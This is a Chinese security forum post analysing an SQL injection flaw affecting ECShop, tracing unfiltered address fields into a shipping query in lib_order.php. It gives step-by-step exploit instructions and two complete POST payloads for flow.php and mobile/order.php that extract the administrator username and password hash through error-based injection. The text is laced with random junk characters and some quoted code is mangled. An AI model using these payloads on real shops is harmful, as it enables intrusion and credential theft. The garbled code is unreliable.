找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2229|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。9 h9 t3 s. `) |( s0 g

: `) Y: z; M" n7 t    漏洞关键文件:
9 b" q$ J0 {  k* r' K1 t6 O4 ~# A6 e/ q
    /includes/lib_order.php1 s8 d, K% J6 ]; h3 m& p
0 d. x' W) n7 n2 X" N5 O- X
    关键函数:0 r, T4 X& S# \4 ~, j
3 ~) z; K' b# K8 s5 l
7 Z% b: X$ e+ Y6 n, q7 C5 ]

3 E3 I2 R( E" _2 ~( b* U! E1 ~3 d01     function available_shipping_list($region_id_list)
5 G1 T5 S. q5 |9 B/ T2 m7 C5 Q+ a2 W
02 {
; y2 }5 K/ Q* h9 k
& o3 i  c3 P4 \  e$ J* f03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
5 E) T' J) \% ]7 d' X/ r; H$ e' ?1 G
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
( ~: l% ]% H, j+ t" ^  \
4 N! y' {, |9 H; N1 w3 r0 D1 h05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 7 @+ r/ I; M) K; w! V* f- L

/ S# `/ [0 h7 S06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . + n* E/ B0 W: |% u0 f
+ M3 M& J  u# h0 E& f
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. % y! H& T6 V2 |

7 s" |* d* P; ]! G08             'WHERE r.region_id ' . db_create_in($region_id_list) .
+ i8 t+ @0 C$ q7 M. |, I
9 P8 V, M5 _+ I' z6 |09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; . D& s+ `8 D" ?6 ?4 F
$ w6 K, z. T$ @. z4 Y: B; g
10   $ l, j0 a& |7 p# p
5 J- K9 q; E/ D0 {  d& h. B3 A2 i
11     return $GLOBALS['db']->getAll($sql); 0 m( ~5 i) g6 A
2 i4 c- g/ N6 N
12 } 3 a. x  c9 _! c. ~2 \4 c' P% u
; s! D6 S2 `: z0 L
显然对传入的参数没有任何过滤就带入了查询语句。1 [% y' _+ H, }  ?& D
- f: D  v# g3 V: I: x3 K: W9 B
下面我们追踪这个函数在flow.php中:9 n5 s; W" d! @; G
第531行:   1 q+ k' [5 L  R' |

  H' r: ~  q% c& ]1 $shipping_list     = available_shipping_list($region);
" S. k% R0 D2 y1 A
; A4 K  N$ y" O6 b5 Z: k: v : m) x& {1 K+ Q0 u" ^$ g
, X) e. P3 K# h
; [, S6 _3 u8 H% V1 \

$ K1 x" w2 C; P$ n9 n) E再对传入变量进行追踪:3 o( @9 Z5 O. Q" ]* a# p8 t$ S
* ?+ S0 A7 _8 f
第530行:    4 O. R! O( e# B' G* F1 E1 l1 Q
2 i7 |% n+ @$ b: G& F
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); - |- ~  c9 `$ L+ K9 j, v

# y$ o) E" e7 P- L% `  I " z6 ?4 V% m; }5 N
  D; [" @7 U. U2 ], `
* y: q% Y* G3 }9 B! C1 l! a) }% L

- S7 q- Z# W" X" b! P第473行:        
6 d$ |  p+ X# [+ Z2 s2 t* ~0 B0 }& x4 N7 F# g& V/ Y) J9 I
1 $consignee = get_consignee($_SESSION['user_id']); 8 x! I$ `) l4 x: e' S3 a- a/ x

5 k8 L  [% @8 _" ^4 m到了一个关键函数:
+ ?' [0 J5 r. ]: p6 K( `1 C5 a' d$ R7 a6 ]9 s1 V
/includes/lib_order.php" C6 P! n( W1 B

2 d& y  A& @, G8 b9 r% J : |% C- X* {; A2 V8 b" e2 K
$ I+ d  k2 H$ r- V) c. H

  w. s1 E8 K4 I  u1 w, T$ i
) j7 [+ u* z/ p5 l01 function get_consignee($user_id)
& Y* R4 h+ k% F! e& n* y& T- e
. Q! x* f8 L2 ]02 {
# \$ j4 R+ @- V7 K5 Q9 p! f' g7 `5 ~  b4 R$ k7 |+ d
03     if (isset($_SESSION['flow_consignee']))
1 E# e' ~" z( h
! _0 `4 B% T; S! Y04     {
0 S6 o. R8 _/ N9 ~% U8 x: {8 V* n2 G) X3 j) p: I& F
05         /* 如果存在session,则直接返回session中的收货人信息 */ 6 v4 Q+ Q& T, d
( H* y( _' O* q7 J0 N) c
06   ) |- s7 ^* r+ u9 C/ B- Y- m9 P+ D
2 o3 ~) T+ U0 G, K; _, B4 ~4 @8 [
07         return $_SESSION['flow_consignee']; 1 d. S7 h! D' ~& R9 e% D3 Z3 `+ R
; b  z7 \0 \2 k; Q& E0 h
08     } : h  |( M3 m$ k2 n  F+ I$ z* d
5 `* m2 o; G3 L/ L* u; m
09     else ; Z- D: G3 {* C) N5 o$ z

/ T& I! S+ N$ z  L10     {
% j5 k! ?4 U3 c" A$ h
" h! \& n" }/ y7 y% Q11         /* 如果不存在,则取得用户的默认收货人信息 */ $ d: m7 @% j' v1 J" o) e' L

# h1 V3 H. g- g9 r1 a* z$ {, F0 V12         $arr = array(); ' v/ |$ Q" f% \1 A0 }
- J6 P1 L* F' Q# ~0 |5 C' ^! W
13   ; I7 T5 Y2 A7 t

6 r! V9 R' U  `  s0 D# k- z14         if ($user_id > 0)
4 J% j9 c; F8 ?1 m0 r( @: A* @6 z5 o0 t% T% z
15         { 3 Y. e# _+ k6 w

; V& t7 C- D( x8 K: C7 T8 C% z16             /* 取默认地址 */
1 U: }" C1 \4 O' r$ e/ G. x( f
, i+ x7 y$ v! _) s17             $sql = "SELECT ua.*".
( i6 D3 k0 o. t. {1 t
5 ]% C6 B' D( t: b18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
" v( a& L$ H  t4 }% w
: L% b" L, J9 R6 ~1 T' W$ f19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
5 R; h, Q* q* ^8 d8 m  n5 A, p1 t# M2 `( ^' B$ Z
20   8 Z; l3 {) N& R! _; w4 r- U
: i: U4 D! [' z4 l
21             $arr = $GLOBALS['db']->getRow($sql);
6 {2 W, b; j5 _7 w. U5 ~4 o5 p) R
- n  V5 T& Y& N22         }
+ L: C, N- p) ^8 m" m& S/ m9 p' ^- T& l/ U( }' W* d; j: A, }
23   
3 f; D% U, G/ P, V! l. |+ Y
1 v( n' i/ ?4 z24         return $arr; ; `3 b; \! C/ D3 \" c

  U& E7 {9 f) w2 t/ s25     }
) P% ~9 k1 f+ a/ V5 R
$ d0 q1 A; N! b% @26 } , ^' y$ Q( `# P0 J% X1 v" p
" n( ]% i8 B+ \: o- E" l
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
5 G$ r* A# S  _5 E1 ]5 j' V; Z" a3 e5 W4 G& P* m9 ^

! k3 e/ i" O0 `, K5 o8 k
# L" ^/ a. {' Y+ |9 W关键点:! k4 a3 a& \$ G) @3 t& F" R6 g

7 o0 d+ x9 j" \第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);3 V- \# o2 q5 I% L$ Y/ D3 n
, i- v% p- A* H7 m# x
这里对传入参数反转义存入$_SESSION中。
. P4 [. x9 X2 S  C: q& v6 ?, ~6 P. ?; m5 E5 D/ N# A: o

, ^8 L, D9 P& S8 {" N5 Y
) P( _7 K' D( Q. H6 f然后看下:
/ ^! G4 G8 ?/ f, P" C' Q6 y6 @: r( b/ G* @+ l

- {& S) k& z- r" M7 {1 P  s+ x5 x' p6 u7 Q
    0 |3 j  V# l% D( ?) @( A9 L5 F
  }* }8 O9 H+ I( T' t6 U
01 $consignee = array(
+ ~1 L* v8 C9 w' v" T; Q
  n1 S3 H1 W2 h02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
2 W) K7 d: J( k3 @. u% F: @7 }. r# c! R
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
% x% _& a$ g* b- w; W) c& j( ?# L4 b2 i" [
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
' i  A; [& K) V
9 V) A5 l) z2 T% j: ~8 i' E1 m& D05         'province'      => empty($_POST['province'])   ? '' _POST['province'], % R3 O" V& u2 c: {
  ~0 J+ K  L# N. j* a
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
8 k/ b  _# b9 Q; ^- y
4 d% U, n9 Y, `1 `  @  p$ J07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
0 U1 z4 m; n5 B: E' i- t( Y/ I# `  P0 c' C2 ]5 d! U" L3 l2 {8 x7 h
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], " h9 j" Q! r8 o6 W. [& m$ u
! o( f3 p3 j6 R8 A
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
2 ~2 f0 B4 b1 y  L% _: ^* _  u8 C+ ^+ R
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), + Z% m2 G0 B6 b

. s9 D1 |/ f8 w8 Q: C11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), ; y1 H* u$ S# U& t$ X' S7 o; @2 N% l

/ f6 _/ W% X6 @4 G$ E12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
* ~3 d) |1 [' _) J# C* N' ?9 q( l/ A# z$ _5 W. M3 }! F  M$ \
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
( ]) Y, E% x+ g5 ?4 r+ {4 t3 ?/ z6 E% }
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], . J; y2 s9 b) ~- g$ S; b
  J( c2 G. o- w4 b! _! H) h
15     ); 5 N4 ]! q2 i6 x6 O0 {1 f  m

9 Q$ G9 B, i" Z" q  s) x好了注入就这样出现了。( d) r1 b( k+ T8 j
6 K/ ], T2 S( W) Z2 M; y
==================- t1 v3 e7 T0 W  L9 b8 w: ?1 {/ l
% D& q% |; r8 o
注入测试:% F) O8 C2 O5 W
6 V, r" Q: G4 G# x- r- L; S/ |
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)& M1 G' q5 J7 b" O
" s' o( v* x/ c, S6 r
测试程序:ECShop_V2.7.3_UTF8_release11062 G2 x0 y' c8 P" j9 {* d! P* G
# t  @' r5 b9 @. X: [

. `" d0 u  @6 ^; {) S6 ^5 z* {# y- ^) D+ v$ {
1.首先需要点击一个商品加入购物车
6 k% F$ g& z8 _0 o( e/ j% }5 }0 j4 y& t9 P6 Q
2.注册一个会员帐号
# }+ b% @) m* z5 t& L; e6 B4 c9 B% e  i( y; E  w& A
3.post提交数据; j3 j. C! B, Y6 T  t6 x

2 i4 i( ~* G  R! k/ H; e & H- O- L* Q! h* H! \

4 v( `4 E% p. ]* @, y1 http://127.0.0.1/ecshop/flow.php 2 s! d7 Z  B. S5 Y

9 \, ~4 A0 |! L1 M  w( x2   + k; K2 E' d( g9 s) H

' i) }+ M' f. o; u, `3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= / [: o9 S; M# v) k- m/ @* ^% q
举一反三,我们根据这个漏洞我们可以继续深入挖掘:3 i% }* h4 C- N+ I- Q

/ Y8 p  X! \' i& l! G8 y我们搜寻关键函数function available_shipping_list()) B* Q1 B8 x) ~  ~
& N2 ?0 n# }3 `
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
+ @1 y3 B5 q" Y* g8 w# x' a0 d& v
) U" w9 I6 f6 B& j利用exp:
! _+ ?7 \1 `3 H1 O
* i* I! U( M  l1.点击一个商品,点击购买商标$ N+ Y, H" `8 u. M9 D# L: @/ j
4 Z8 c) `5 X6 [7 W  `, [
2.登录会员帐号
5 u- [: g6 V4 m6 C  p
+ y/ x' J# Y6 ^7 _1 X! Y/ L0 }3 S7 _3.post提交:
" d. q0 L3 W4 P! `, C0 Y; F/ L8 n$ z* [- V/ I
http://127.0.0.1/ecshop/mobile/order.php
1 R$ t3 @# b3 `; L& K0 }1 {) P0 U' `  H1 k, A/ Y  p9 A
" i& M) K7 V3 x; Q% D7 a

* ^* i: t+ Y; `' a0 Z" hcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=% O* g2 L7 m6 X6 I* P* o

) w% _+ E3 e! S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表